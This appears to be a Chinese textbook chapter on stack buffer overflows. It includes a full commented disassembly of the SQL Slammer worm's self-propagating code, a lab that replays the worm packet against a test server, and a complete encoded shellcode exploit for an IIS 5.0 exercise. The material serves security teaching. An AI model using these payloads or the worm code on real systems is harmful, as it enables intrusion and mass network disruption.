缓冲区溢出是目前最常见的一种安全问题,操作系统以及应用程序大都存在缓冲区溢出漏洞。缓冲区是一段连续内存空间,具有固定的长度。缓冲区溢出是由编程错误引起的,当程序向缓冲区内写入的数据超过了缓冲区的容量,就发生了缓冲区溢出,缓冲区之外的内存单元被程序“非法”修改。
一般情况下,缓冲区溢出导致应用程序的错误或者运行中止,但是,攻击者利用程序中的漏洞,精心设计出一段入侵程序代码,覆盖缓冲区之外的内存单元,这些程序代码就可以被CPU所执行,从而获取系统的控制权。
在一次函数调用中,堆栈中将被依次压入:参数、返回地址。如果函数有局部变量,接下来,就在堆栈中开辟相应的空间(SUB ESP,x)以构造变量。函数执行结束时,恢复堆栈到函数调用的地址,弹出返回地址到EIP以继续执行程序。
从上述main函数的反汇编代码中,第3步对应的代码为00401000H~00401003H,指令“sub esp,50h”在堆栈中分配了80个字节作为局部变量buf的内存空间。
打开bomain工程,在Release模式下编译。如图8-2所示,选择菜单Project→Settings…下,在“Win32 Release”的“Debug”页中,设定“Program arguments”为字符串“This is test result of buffer overflow demo code.”。加双引号的目的是将整个字符串作为一个参数,即argv[1],否则,这个字符串将被分解为多个参数,argv[1]=This,argv[2]=is等等。
程序在Release模式下编译、运行,不能直接在源程序中设置断点。编译完成后,按F11键,VC提示没有调试信息,按“OK”按钮继续运行。这时,按Ctrl+G,在左侧选择“Address”,编辑框内输入00401000,显示main函数所在地址的汇编代码,如图8-3所示。
0012FF60 2E 00 FF FF 8D 16 F5 77 69 1E 40 00 00 00 37 00 ........i.@...7.
0012FF70 00 00 00 00 88 49 37 00 00 00 00 00 61 12 40 00 .......7.....a.@.
在上面的例子中,如果给定的字符串(argv[1])长度小于80,则程序可正常运行。如果给出的argv[1]长度为100个字节,strcpy将这个字符串拷贝到堆栈时,会将堆栈中的“寄存器、EIP、argc、argv”等有效数据覆盖。在第4、5步执行时必然得到错误的返回地址(EIP),导致程序出错。
因此,堆栈溢出的根本原因在于:由于字符串处理函数(gets,strcpy等)没有对数组越界加以判断和限制,利用超长字符数组,越界覆盖堆栈中的原有元素的值,可以修改堆栈中的返回地址,并执行由返回地址指向的代码。
如图8-4所示,可以让该返回地址指向的指令执行一段特殊代码,即图中的阴影部分。当发生堆栈溢出时,堆栈中的EIP被替换为EIP’。 执行ret指令时,执行由EIP’指向的攻击代码,而不会返回到主程序中。
在下面程序中,main( )函数调用copyString( ),但copyString为buf保留的缓冲区只有10个字节,当输入的字符串s超过10个字符时,缓冲区溢出。
输入的字符串s包括了hacked( )的地址,strcpy( )执行后,这个地址覆盖了堆栈中的返回地址,程序执行到hacked( ),而不能返回到main( )中。
按F5开始执行程序,在第1个断点处,如图8-6所示,在地址栏上输入*s,显示s(也就是badStr)的内容。在定义badStr时,0012FF74h处的内容为“4444”。“*pEIP = (DWORD)hacked”将0012FF74h处的数据修改为“05 10 40 00
”,也就是00401005h。00401005h是hacked的入口地址。
0012FF74 05 10 40 00 35 35 35 35 00 CC CC CC C0 FF 12 00 ..@.5555........
在内存窗口的地址栏上输入buf。buf定义为10个字节。在堆栈中,0012FEF8h中的内容为“80 FF 12 00
”,0012FEFCh中的内容为“20 11 40 00
”,返回地址为00401120H。此时,buf缓冲区的内容全部为0CCh。
0012FEFC CC CC CC CC CC CC CC CC CC CC CC CC 80 FF 12 00 ................
0012FF0C 20 11 40 00 64 FF 12 00 00 00 00 00 00 00 00 00 ................
按F5键执行到第2个断点,s中的14h个字节被复制到buf中,覆盖了堆栈中的“80 FF 12 00
”和“20 11 40 00”。返回地址变为“05 10 40 00”。
0012FF0C 05 10 40 00 64 FF 12 00 00 00 00 00 00 00 00 00 ..@.d...........
badStr中的“5555”没有被拷贝到buf中,这是因为“5555”前面的一个字节,其内容为00h,即0012FF77h。这样,strcpy( )函数就认为0012FF77h是字符串s的结尾,只拷贝0012FF64h~0012FF77h之间的20个字节到0012FEFCh中。
目前,操作系统(Windows、Linux、Unix)、数据库以及应用软件主要采用C/C++语言开发,但C/C++语言缺乏数组边界条件检查、程序执行不受控制等特点,因此,这些软件不可避免地存在缓冲区溢出漏洞,成为安全隐患。
发现网络上某台计算机的缓冲区溢出漏洞后,攻击者就能够利用该漏洞实施远程攻击,获得对计算机的完全控制,在该计算机上执行任意命令,如安装程序、查看或更改、删除数据、格式化硬盘等。
早在1988年,美国康奈尔大学的计算机科学系研究生,23岁的莫里斯(Morris)利用了UNIX fingered程序不限制输入长度的漏洞,造成缓冲区溢出。Morris又写了一段程序使他的恶意程序能以root(超级用户)身份执行,并传播到其他机器上,结果造成6000台Internet上的服务器瘫痪,占当时总数的10%。
2003年1月底,互联网上出现一种新型的蠕虫病毒,大量占用网络带宽,最终导致网络瘫痪。该蠕虫是利用Microsoft SQL Server 2000中的缓冲区溢出漏洞,通过向其解析端口1434发送包含恶意代码的数据包进行攻击。
由于“SQL Slammer”蠕虫具有极强的传播能力,造成了全球性的网络灾害。根据统计,“SQL Slammer”爆发初期,仅需8.5秒被感染的主机数量就增加1倍。
“SQL Slammer”也不将蠕虫信息写入被传染对象的文件中。它只存在于内存之中,不通过文件这一常规载体传染和存储,而是借助这个服务器的网络连接来传染其它的服务器,在计算机的内存之间不断进行复制。从传染途径上看,该蠕虫在运行SQL Server的服务器之间通过UDP 1434端口发送SQL请求进行传播。
除了运行SQL Server的Windows NT/2000系列服务器外,安装了Visual FoxPro,Veritas Backup Exec等其他软件的服务器也会被感染,因为这些软件中包含有Microsoft Data Engine 2000(微软数据库引擎),而SQL Server内嵌在数据库引擎中。
“SQL Slammer”通过缓冲区溢出取得系统控制权后,就开始产生随机IP地址发送自身。由于发送数据包占用了大量系统资源和网络带宽,形成UDP风暴,感染了该蠕虫的网络性能会急剧下降,另外,蠕虫的扩散占用了整个Internet网络上的大量带宽。
“SQL Slammer”利用了微软公司SQL Server的一个漏洞(公告编号: MS02-039)。该漏洞是在2002年7月由Next Generation Security公司发现的。
该蠕虫利用的端口是UDP 1434,该端口提供SQL Server 解析服务。SQL Server支持在单一物理主机上运行多个SQL服务器的实例,但是多个实例不能使用同一个SQL标准服务会话端口(TCP 1433),所以SQL Server解析服务监听UDP 1434端口来提供一种查询机制,向客户端返回各SQL服务实例对应的网络端口。
当SQL Server解析服务在UDP 1434端口接收到的UDP包第一个字节为0x04时,SQL监视线程会获取UDP包中的数据并使用UDP包后面的信息来尝试打开注册表中的一个键值。例如,接收到的UDP数据包是/x04/x41/x41/x41,SQL服务程序就调用sprintf生成如下格式的字符串:HKLM/Software/Microsoft/Microsoft SQL Server/AAA/MSSQLServer /CurrentVersion。再以这个字符串作为注册表键读取有关参数。
由于SQL Server 解析服务程序在调用sprintf时没有进行字符串长度检查,如果UDP数据包字节/x04后面的字符串达到一定长度后,将产生缓冲区溢出。“SQL Slammer”就是利用这一漏洞,通过在这个UDP包后追加包含攻击代码的额外数据,当解析服务程序调用sprintf时,会发生基于堆栈的缓冲区溢出。它使用0x42B0
C9DC覆盖了ssnetlib.dll中一个函数的返回地址,该返回地址(0x42B0
C9DC)指向sqlsort.dll中数据区中的“FF E4
”字节,而“FF E4”正好是“JMP ESP”这条指令的机器码。缓冲区溢出时内存布局如图8-7所示。
“SQL Slammer”蠕虫的长度极小,仅仅是一段376个字节(1+96+4+275=376)的数据,通过UDP端口进行传播,因此,其传播速度更快。为便于分析,图8-8列出了“SQL Slammer”网络包的数据。
“SQL Slammer”通过覆盖堆栈中的返回地址,函数返回时不能回到原来的调用处,而是要执行0x42B0
C9DC处的“JMP ESP”指令,而ESP指向的正是“SQL Slammer”蠕虫偏移101字节处“EB 0E”开始的运行代码。这些程序以SQL Server进程的权限在系统中执行。其运行过程为:
图8-8 “SQL Slammer”网络包
图8-8中数据中包括两个“01 70 AE 42
”序列,表示偏移地址0x42AE7001。这是因为sprintf所引用的缓冲区后面还有数据指针,“SQL Slammer”在发送攻击代码时,也会同时覆盖这个数据指针。如果数据指针指向了一个非法地址,函数访问这个指针时就会出现异常,而被异常处理程序捕获,函数不可能正常返回,也就无法执行0x42B0
C9DC处的指令了。因此,攻击数据包中的“01 70 AE 42
”的作用是为了防止出现异常。
jmp short reconstruct;
此时,ESP=EIP
。缓冲区溢出后,
EIP=
42B0C9DCh
。42B0C9DCh处是
;
一条“JMP ESP”指令
reconstruct:
push 42B0C9DCh ;
缓冲区溢出后,堆栈中的
ESP
指针前面的
数据包被破坏。这里,
;
需要进行
恢复,得到完整的数据包。首先,将42B0C9DCh压栈。
mov eax, 1010101h ;
再将01010101h压栈24次。
xor ecx, ecx
mov cl, 18h
fixup_payload:
push eax
loop fixup_payload
xor eax, 5010101h ; eax = 01010101h xor 05010101 h =04000000h
push eax ;
将04000000h压栈。
mov ebp, esp ; EBP=ESP
。至此,EBP+3指向的数据包完全恢复,如图7-19所示。
;
图
7-19
中带阴影的部分是需要由上面这些
PUSH
指令恢复的。
;
在后面的程序中可以看到,EBP+3指向的数据包被sendto()函数
;
发送到其它计算机。
push ecx ; ECX=0
push 6C6C642Eh
push 32336C65h
push 6E72656Bh ; ESP=EBP-10H
现在指向“kernel32.dll”字符串
push ecx
push 746E756Fh
push 436B6369h
push 54746547h ; ESP=EBP-20H
指向“GetTickCount”字符串
mov cx, 6C6Ch
push ecx ; ecx = 00006C6Ch
push 642E3233h
push 5F327377h ; ESP=EBP-2CH
指向“ws2_32.dll”字符串
mov cx, 7465h
push ecx ; ecx = 00007465h
push 6B636F73h ; ESP=EBP-34H
指向“socket”字符串
mov cx, 6F74h
push ecx ; ecx = 0000746fh
push 646E6573h ; ESP=EBP-3CH
指向“sendto”字符串
mov esi, 42AE1018h ; 42AE1018h
属于sqlsort.dll的IAT表,其中的内容为
; LoadLibrary
函数的地址
lea eax, [ebp-2Ch] ; EBP-2CH
及EAX指向堆栈中的“ws2_32.dll”字符串
push eax ; EAX
压栈作为LoadLibraryA函数的参数
call dword ptr [esi] ;
相当于: LoadLibraryA("ws2_32.dll")
; LoadLibraryA
的原型为:
; WINBASEAPI HMODULE WINAPI LoadLibraryA(LPCSTR lpLibFileName);
push eax ; EAX
是LoadLibraryA()的返回值.即ws2_32.dll的模块地址
;
将EAX压栈, 保存在EBP-40H单元中。
lea eax, [ebp-20h] ; EBP-20H
及EAX指向堆栈中的“GetTickCount”字符串
push eax ;
将EAX压栈,作为GetProcAddress()的第二个参数
lea eax, [ebp-10h] ; EBP-10H
及EAX指向堆栈中的“kernel32.dll”字符串
push eax ; EAX
压栈作为LoadLibraryA函数的参数
call dword ptr [esi] ; LoadLibrary("kernel32.dll")
push eax ; EAX
是LoadLibraryA()的返回值.即kernel32.dll的模块地址
;
将EAX压栈,作为GetProcAddress()的第一个参数
mov esi, 42AE1010h ; 42AE1010h
属于sqlsort.dll的IAT表,其中的内容应为
; GetProcAddress()
函数的地址。但对某些版本(如2000.80.534.0)
;
的sqlsort.dll,地址42AE1018h中的内容为
; RtlEnterCriticalSection()
函数的地址。程序在这里做一判断,
;
检查42AE1018h中的值是不是GetProcAddress()函数的地址。
mov ebx, [esi] ; ebx
是函数的地址
mov eax, [ebx] ;
取出该函数体前面4个字节的内容
;:u GetProcAddress
; KERNEL32!GetProcAddress
; 001B:77E5A5FD 55 PUSH EBP
; 001B:77E5A5FE 8BEC MOV EBP,ESP
; 001B:77E5A600 51 PUSH ECX
; 001B:77E5A601 51 PUSH ECX
; 001B:77E5A602 53 PUSH EBX
; 001B:77E5A603 57 PUSH EDI
; 001B:77E5A604 8B7D0C MOV EDI,[EBP+0C]
cmp eax, 51EC8B55h ;
检查前4个字节是否为:55h,8Bh,ECh,51h
jz found_it ;
如果相同,42AE1018h中的内容就是GetProcAddress()函数的地址
mov esi, 42AE101Ch ;
否则,42AE101Ch中的内容是GetProcAddress()函数的地址
;
因此,可以针对不同的SQL版本取出正确的GetProcAddress()地址
found_it:
call dword ptr [esi] ; GetProcAddress(kernel32_base,GetTickCount)
; GetProcAddress
的原型为:
; WINBASEAPI FARPROC WINAPI
; GetProcAddress(HMODULE hModule, LPCSTR lpProcName);
call eax ; EAX
是GetProcAddress的返回值。
; call eax
就是调用GetTickCount()。GetTickCount()不需参数,
;
返回自计算机启动以后的毫秒数。这里将返回值作为随机数产生器
;
的一个种子(seed)。GetTickCount()的原型为:
; WINBASEAPI DWORD WINAPI GetTickCount( VOID );
xor ecx, ecx
push ecx ;
将0压栈,保存于[EBP-44H]单元中
push ecx ;
将0压栈,保存于[EBP-48H]单元中
push eax ;
将种子压栈,保存于[EBP-4CH]单元中
xor ecx, 9B040103h ;
xor ecx, 01010101h
push ecx ; ecx = 0x9B040103 xor 0x01010101 = 0x9A050002
; 0x59A = 1434
,即SQL解析服务的端口号。
lea eax, [ebp-34h] ; EBP-2CH
及EAX指向堆栈中的"socket"字符串
push eax ;
将EAX压栈,作为GetProcAddress()的第二个参数
mov eax, [ebp-40h] ; [ebp-40h]
是LoadLibraryA("ws2_32.dll")的返回值.即
push eax ;
将EAX压栈,作为GetProcAddress()的第一个参数
call dword ptr [esi] ; GetProcAddress(ws2_32 base, "socket")
; EAX
是GetProcAddress的返回值,即socket()函数的地址。
; socket()
函数的原型为:
; SOCKET PASCAL FAR socket (int af, int type, int protocol);
push 11h
;#define IPPROTO_UDP 17 /* user datagram protocol */
push 2
;#define SOCK_DGRAM 2 /* datagram socket */
push 2
;#define AF_INET 2 /* internetwork: UDP, TCP, etc. */
call eax ; socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)
; EAX
返回由socket()创建的一个套接字
push eax ;
将套接字压栈,保存于[EBP-54H]单元中
lea eax, [ebp-3Ch] ; EBP-3CH
及EAX指向堆栈中的"sendto"字符串
push eax ;
将EAX压栈,作为GetProcAddress()的第一个参数
mov eax, [ebp-40h] ; [ebp-40h]
是LoadLibraryA("ws2_32.dll")的返回值
push eax ;
将EAX压栈,作为GetProcAddress()的第一个参数
call dword ptr [esi] ; GetProcAddress(ws2_32 base,sendto)
; EAX
是GetProcAddress的返回值,即sendto()函数的地址。
; sendto()
函数的原型为:
; int PASCAL FAR sendto (SOCKET s, char FAR * buf, int len,
; int flags,const struct sockaddr FAR *to, int tolen);
mov esi, eax ; ESI
中保存sendto()函数的地址
or ebx, ebx ; ebx = 77F8313Ch
xor ebx, 0FFD9613Ch ; ebx = 88215000h or 88336870h
或其他值
rand_send:
mov eax, [ebp-4Ch] ;
取得毫秒数作为种子seed。
lea ecx, [eax+eax*2]; ecx = seed*3 mod 2^32
lea edx, [eax+ecx*4]; edx = seed*13 mod 2^32
shl edx, 4 ; edx = seed*208 mod 2^32
add edx, eax ; edx = seed*209 mod 2^32
shl edx, 8 ; edx = seed*53504 mod 2^32
sub edx, eax ; edx = seed*53503 mod 2^32
lea eax, [eax+edx*4]; eax = seed*214013 mod 2^32
add eax, ebx ; eax = (seed*214013 + ebx) mod 2^32
mov [ebp-4Ch], eax ; eax
是这一轮产生的一个随机数,作为产生下一个随机数的种子
; eax
作为IP地址
;
下面将sendto参数压栈.
push 10h ;
参数tolen = 16,即sizeof(struct sockaddr_in)
lea eax, [ebp-50h] ;
push eax ;
参数to指向EBP-50H.
; to->sin_family = 0002h (EBP-50H)
; to->sin_port = 059ah (EBP-4EH)
; to->s_addr =
随机IP地址(EBP-4CH)
; to->sin_zero = 8
个0字节(EBP-48H)
; struct in_addr {
; union {
; struct { u_char s_b1,s_b2,s_b3,s_b4; } S_un_b;
; struct { u_short s_w1,s_w2; } S_un_w;
; u_long S_addr;
; } S_un;
;#define s_addr S_un.S_addr /* for most tcp & ip code */
; struct sockaddr_in {
; short sin_family;
; u_short sin_port;
; struct in_addr sin_addr;
; char sin_zero[8];
; };
xor ecx, ecx ;
参数flags = 0
push ecx
xor cx, 178h ; ecx=376
push ecx ;
参数len = 376, 数据包的长度为376字节
lea eax, [ebp+3]
push eax ;
参数buf = EBP+3,指向蠕虫的数据包
mov eax, [ebp-54h] ; [EBP-54H]
单元中保存的是由socket()创建的套接字,
push eax ;
参数s = 套接字
call esi ; sendto(sock,payload,376,0,sock_addr struct, 16)
;
调用sendto()向一个随机IP地址发送数据包。若该主机上存在
; SQL
漏洞,将导致其缓冲区溢出,并运行与本程序相同的代码
jmp short rand_send ;
不断产生随机IP地址并发起攻击
4. “SQL Slammer”模拟实验
编写程序blssrv.c和blsclt.c,不需要安装和配置Microsoft SQL Server 2000,就可以重现这个“SQL Slammer”蠕虫的运行状态。
blssrv.c作为服务端,监听5193端口。收到从端口传送来的网络包后,调用process( )函数。这里,缓冲区in只能容纳89个字节,当网络包长度超过89个字符时,将产生缓冲区溢出。
void process(char *buf, int n)
{
char in[89];
memcpy(in, buf, n);
fprintf(stdout, "received bytes: %d/n", n);
fprintf(stdout, "received data : %s/n", in);
}
“SQL Slammer”蠕虫程序中,有3个内存地址存在于Microsoft SQL Server 2000运行环境中,这3个地址在图8-8中以下划线的形式标出,它们是:
(1)
DCC9B042:0x42B0C9DC。它指向一个“JUMP ESP”指令。
(2)
1810AE42:0x42AE1018。它是LoadLibrary( )函数的入口地址。
(3)
1010AE42:0x42AE1010。它是GetProcAddress ( )函数的入口地址。
在blssrv.exe中,定义上述3个双字,用printf显示出这3个双字的地址:
unsigned char jmpesp[]="/xff/xe4";
PBYTE func1 = (PBYTE)LoadLibrary;
PBYTE func2 = (PBYTE)GetProcAddress;
printf("&jmpesp=0x%08x/n", jmpesp);
printf("LoadLibrary=0x%08x/n", *(UINT *)(func1+2));
printf("GetProcAddress=0x%08x/n", *(UINT *)(func2+2));
运行时,显示这3个双字的内容为:
&jmpesp=0x00406030
LoadLibrary=0x00405004
GetProcAddress=0x00405000
blsclt.c作为客户端,向运行bltsrv.exe的计算机的5193端口发送网络包,网络包的内容为图8-8所示的“SQL Slammer”蠕虫代码。
在发送网络包之前,蠕虫代码中依赖于Microsoft SQL Server 2000的3个双字必须被替换:
*(UINT *)(sc+0x61) = 0x00406030;
// "jmp esp"
*(UINT *)(sc+0x7e) = 0x00406030;
// "jmp esp"
*(UINT *)(sc+0xda) = 0x00405004;
// LoadLibrary()
*(UINT *)(sc+0xf1) = 0x00405000;
// GetProcAddress()
在一台计算机(服务端)上运行blssrv.exe,在另一台计算机上运行blsclt.exe a.b.c.d,a.b.c.d是服务端的IP地址。
blsclt.exe导致blssrv.exe发生缓冲区溢出后,执行process( )函数的ret指令后,EIP=00406030h,ESP=0012F9D8h。堆栈中的内容为:
0012F974 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F984 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F994 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9A4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9B4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9C4 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 ................
0012F9D4 30 60 40 00 EB 0E 01 01 01 01 01 01 01 70 AE 42 0`@..........p..
0012F9E4 01 70 AE 42 90 90 90 90 90 90 90 90 68 30 60 40 .p..........h0`@
0012F9F4 00 B8 01 01 01 01 31 C9 B1 18 50 E2 FD 35 01 01 ......1...P..5..
0012FA04 01 05 50 89 E5 51 68 2E 64 6C 6C 68 65 6C 33 32 ..P..Qh.dllhel32
0012FA14 68 6B 65 72 6E 51 68 6F 75 6E 74 68 69 63 6B 43 hkernQhounthickC
0012FA24 68 47 65 74 54 66 B9 6C 6C 51 68 33 32 2E 64 68 hGetTf..lQh32.dh
0012FA34 77 73 32 5F 66 B9 65 74 51 68 73 6F 63 6B 66 B9 ws2_f..tQhsockf.
0012FA44 74 6F 51 68 73 65 6E 64 BE 04 50 40 00 8D 45 D4 toQhsend..P@....
0012FA54 50 FF 16 50 8D 45 E0 50 8D 45 F0 50 FF 16 50 BE P..P.........P.
0012FA64 00 50 40 00 8B 1E 8B 03 3D 55 8B EC 51 74 05 BE .P@.....=U..Qt..
0012FA74 1C 10 AE 42 FF 16 FF D0 31 C9 51 51 50 81 F1 03 ........1..QP...
0012FA84 01 48 15 81 F1 01 01 01 01 51 8D 45 CC 50 8B 45 .H.......Q......
0012FA94 C0 50 FF 16 6A 11 6A 02 6A 02 FF D0 50 8D 45 C4 ....j.j.j.......
0012FAA4 50 8B 45 C0 50 FF 16 89 C6 09 DB 81 F3 3C 61 D9 P............<a.
0012FAB4 FF 8B 45 B4 8D 0C 40 8D 14 88 C1 E2 04 01 C2 C1 ......@.........
0012FAC4 E2 08 29 C2 8D 04 90 01 D8 89 45 B4 6A 10 8D 45 ..)........E....
0012FAD4 B0 50 31 C9 51 66 81 F1 78 01 51 8D 45 03 50 8B ..1..f..x.Q...P.
0012FAE4 45 AC 50 FF D6 EB CA
部分反汇编代码为:
0012F9D8 EB 0E
jmp 0012F9E8
…
0012F9E8 90
nop
…
0012F9F0 68 30 60 40 00
push 406030h
0012F9F5 B8 01 01 01 01
mov eax,1010101h
0012F9FA 31 C9
xor ecx,ecx
0012F9FC B1 18
mov cl,18h
…
0012FAE6 50
push eax
0012FAE7 FF D6
call esi
0012FAE9 EB CA
jmp 0012FAB5
8.3 实验题:IIS 5.0溢出漏洞实验
在研究分析iis5hack.c的基础上,编写远程缓冲区溢出攻击的服务端和客户端程序。iis5hack.c必须用“Release”模式编译,连接基地址“BaseAddress”设为0x01010000。
要求:
1. 运行iis5hack.exe,程序退出,但C:根目录下生成了一个文件:www.eEye.com.txt。分析缓冲区溢出过程,获得溢出之后的代码。
2. 连接基地址“BaseAddress”缺省为0x00400000。为什么要修改为0x01010000?还可以修改为其他值吗?
3. 编写服务端和客户端程序。客户端程序向服务端发送一个网络包,网络包的内容为sc中的数据。服务端在C:根目录下生成文件www.eEye.com.txt。
4. 修改sc中的数据,文件名改为hackfun.txt,并向其中写入字符串“Buffer Overflow is funny!”
;程序清单: iis5hack.c
#include <Windows.h>
#include <stdio.h>
unsigned char jmpesp[]="/xff/xe4";
PBYTE func0 = (PBYTE)CloseHandle;
PBYTE func1 = (PBYTE)CreateFileA;
PBYTE func2 = (PBYTE)WriteFile;
PBYTE func3 = (PBYTE)ExitProcess;
DWORD dwCloseHandle;
DWORD dwCreateFileA;
DWORD dwWriteFile;
DWORD dwExitProcess;
unsigned char sc[315]="/
/x8b/xc4/x83/xc0/x11/x33/xc9/x66/xb9/x20/x01/x80/x30/x03/x40/xe2/
/xfa/xeb/x03/x03/x03/x03/x5c/x88/xe8/x82/xef/x8f/x09/x03/x03/x44/
/x80/x3c/xfc/x76/xf9/x80/xc4/x07/x88/xf6/x30/xca/x83/xc2/x07/x88/
/x04/x8a/x05/x80/xc5/x07/x80/xc4/x07/xe1/xf7/x30/xc3/x8a/x3d/x80/
/xc5/x07/x80/xc4/x17/x8a/x3d/x80/xc5/x07/x30/xc3/x82/xc4/xfc/x03/
/x03/x03/x53/x6b/x83/x03/x03/x03/x69/x01/x53/x53/x6b/x03/x03/x03/
/x43/xfc/x76/x13/xfc/x56/x07/x88/xdb/x30/xc3/x53/x54/x69/x48/xfc/
/x76/x17/x50/xfc/x56/x0f/x50/xfc/x56/x03/x53/xfc/x56/x0b/xfc/xfc/
/xfc/xfc/xcb/xa5/xeb/x74/x8e/x28/xea/x74/xb8/xb3/xeb/x74/x27/x49/
/xea/x74/x60/x39/x5f/x74/x74/x74/x2d/x66/x46/x7a/x66/x2d/x60/x6c/
/x6e/x2d/x77/x7b/x77/x03/x6a/x6a/x70/x6b/x62/x60/x68/x31/x68/x23/
/x2e/x23/x66/x46/x7a/x66/x23/x47/x6a/x64/x77/x6a/x62/x6f/x23/x50/
/x66/x60/x76/x71/x6a/x77/x7a/x0e/x09/x23/x45/x6c/x71/x23/x67/x66/
/x77/x62/x6a/x6f/x70/x23/x75/x6a/x70/x6a/x77/x39/x23/x4b/x77/x77/
/x73/x39/x2c/x2c/x74/x74/x74/x2d/x66/x46/x7a/x66/x2d/x60/x6c/x6e/
/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/
/x03/x03/x03/x03/x90/x90/x90/x90/x90/x90/x90/x90/xcb/x4a/x42/x6c/
/x90/x90/x90/x90/x66/x81/xec/x14/x01/xff/xe4/x03/x03/x03/x03/x03/
/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/x03/
/x03/x00";
char tmpBuf[32];
void _stdcall process(char *buf)
{
char in[264];
strcpy(in, buf);
fprintf(stdout, "received data : %s/n", in);
_asm nop;
}
int main(int argc, char *argv[])
{
dwCloseHandle = *(UINT *)(*(UINT *)(func0+2));
dwCreateFileA = *(UINT *)(*(UINT *)(func1+2));
dwWriteFile = *(UINT *)(*(UINT *)(func2+2));
dwExitProcess = *(UINT *)(*(UINT *)(func3+2));
printf("&jmpesp=0x%08x/n", jmpesp);
printf("CloseHandle=0x%08x/n", dwCloseHandle);
printf("CreateFileA=0x%08x/n", dwCreateFileA);
printf("WriteFile=0x%08x/n", dwWriteFile);
printf("ExitProcess=0x%08x/n", dwExitProcess);
*(UINT *)(sc+0x10c) = jmpesp; // "jmp esp"
*(UINT *)(sc+0x82) = dwCloseHandle ^ 0x03030303; // "CloseHandle"
*(UINT *)(sc+0x86) = dwCreateFileA ^ 0x03030303; // "CreateFileA"
*(UINT *)(sc+0x8a) = dwWriteFile ^ 0x03030303; // "WriteFile"
*(UINT *)(sc+0x8e) = dwExitProcess ^ 0x03030303; // "ExitProcess"
_asm lea ebx,tmpBuf
process(sc);
return 0;
}
Jmp esp的指向为什么就是病毒的代码,这个过程想了很长时间,在一次执行过程中终于明白了,现总结如下。第一步,ESP在进入Process函数体后,指向临时的存储变量的地方,这个变量的大小推断为89个字节,而buf的大小为376个字节,远远大于这个数组的大小。第二步,当利用C函数memset进行字符串赋值时,整个病毒的376个字节全部都被复制到从ESP开始的376个字节内。EBP的指向为ESP地址后第96个字节,这个地址的下一个地址是jmp esp的地址。第三步,当process返回的时候,首先将EBP->ESP,然后出栈EBP,EBP将等于0x01010101,而ESP将加4,指向为jmp esp的地址。函数返回ESP指向下一个字的地址,而程序将执行jmp esp。这条指令执行后,计算机将沿着病毒程序的代码,在堆栈里执行下去。
|
|
|
|
|
|
|
|
|
|
|
|
ESP→
| Buf的89个字节的空间
| ESP→
| Buf的89个字节的空间
+287个字节为病毒代码所覆盖
|
| 病毒的前半数据,填充数据
|
|
|
|
|
|
|
| 寄存器
|
|
|
| EBP
| EBP→
|
|
| EIP
| EIP存储在此,被修改
|
|
| 堆栈的后续字节
|
| ESP→
| 病毒的真正的危险程序
|
|
|
|
|
|
|
1
进入
process
程序
2
覆盖病毒字符串
3
病毒执行